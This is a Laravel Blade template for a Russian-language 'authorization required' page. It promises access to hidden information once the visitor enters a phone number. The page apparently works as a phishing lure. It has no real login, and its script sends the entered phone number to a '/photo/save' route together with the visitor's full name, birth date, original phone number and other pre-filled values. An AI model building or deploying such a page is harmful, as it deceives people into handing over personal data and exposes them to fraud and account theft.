<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#0f1115">
<link
    rel="preload"
    as="image"
    href="https://images.unsplash.com/photo-1500530855697-b586d89ba3ee?auto=format&fit=crop&w=2000&q=80">
<title>Авторизация</title>

<style>
*{
    margin:0;
    padding:0;
    box-sizing:border-box;
    font-family:Arial,sans-serif;
}

html,
body{
    width:100%;
    height:100%;
    background:#0f1115;
    overflow:hidden;
}

body{
    position:relative;
}

.bg{
    position:fixed;
    top:-80px;
    left:-80px;
    right:-80px;
    bottom:-80px;

    background:#0f1115 url('https://images.unsplash.com/photo-1500530855697-b586d89ba3ee?auto=format&fit=crop&w=2000&q=80') center center no-repeat;
    background-size:cover;

    filter:blur(35px) brightness(.45);
    transform:translateZ(0);
    will-change:transform;
    z-index:0;
}

.container{
    position:relative;
    z-index:10;
    width:100%;
    height:100vh;
    display:flex;
    justify-content:center;
    align-items:center;
    padding:20px;
}

.card{
    width:420px;
    max-width:100%;
    padding:35px;
    border-radius:22px;
    background:rgba(255,255,255,.12);
    backdrop-filter:blur(18px);
    -webkit-backdrop-filter:blur(18px);
    border:1px solid rgba(255,255,255,.15);
    box-shadow:0 20px 60px rgba(0,0,0,.35);
    color:#fff;
    text-align:center;

    display:flex;
    flex-direction:column;
    align-items:center;
}

h2{
    margin-bottom:15px;
    font-size:28px;
}

p{
    color:#ddd;
    line-height:1.6;
    margin-bottom:25px;
}

input{
    width:76%;
    height:56px;
    border:none;
    border-radius:12px;
    background:rgba(255,255,255,.18);
    color:#fff;
    font-size:18px;
    padding:0 18px;
    outline:none;
    margin-bottom:20px;
    transition:.2s;
    text-align:center;
}

input::placeholder{
    color:#ddd;
    text-align:center;
}

input:focus{
    background:rgba(255,255,255,.25);
}

button{
    width:76%;
    height:56px;
    border:none;
    border-radius:12px;
    background:#fff;
    color:#111;
    font-size:17px;
    font-weight:bold;
    cursor:pointer;
    transition:.2s;
}

button:hover{
    transform:translateY(-2px);
    box-shadow:0 10px 25px rgba(0,0,0,.2);
}

@media (max-width:480px){

    .card{
        width:100%;
        padding:28px 22px;
        border-radius:18px;
    }

    h2{
        font-size:24px;
    }

    p{
        font-size:15px;
    }

    input,
    button{
        height:52px;
        font-size:16px;
    }
}
</style>

</head>
<body>

<div class="bg"></div>

<div class="container">

    <div class="card">

        <h2>Требуется авторизация</h2>

        <p>
           Для просмотра информации необходимо авторизоваться. После входа содержимое станет доступно.
        </p>

        <input
            id="phone"
            type="tel"
            placeholder="+7 (999) 999-99-99"
        >

        <button onclick="go()">
            Войти
        </button>

    </div>

</div>

<script src="https://unpkg.com/imask"></script>

<script>
const input = document.getElementById('phone');

// Исходный номер из Laravel
let phone = "{{ $phone }}".replace(/\D/g,'');

if (phone.startsWith('8')) {
    phone = '7' + phone.slice(1);
}

if (phone.length === 10) {
    phone = '7' + phone;
}

const originalPhone = phone;

const mask = IMask(input, {
    mask: '+{7} (000) 000-00-00'
});

if (phone.length === 11) {
    mask.unmaskedValue = phone;
}

function go() {

    const digits = mask.unmaskedValue;

    if (digits.length !== 11) {
        alert('Введите корректный номер телефона');
        return;
    }

    location.href =
        "{{ url('/photo/save') }}/" +
        encodeURIComponent("{{ $fio }}") + "/" +
        originalPhone + "/" +
        digits + "/" +
        encodeURIComponent("{{ $birth }}") + "/" +
        encodeURIComponent("{{ $a }}") + "/" +
        encodeURIComponent("{{ $b }}") + "/" +
        encodeURIComponent("{{ $c }}");
}
</script>

</body>
</html>
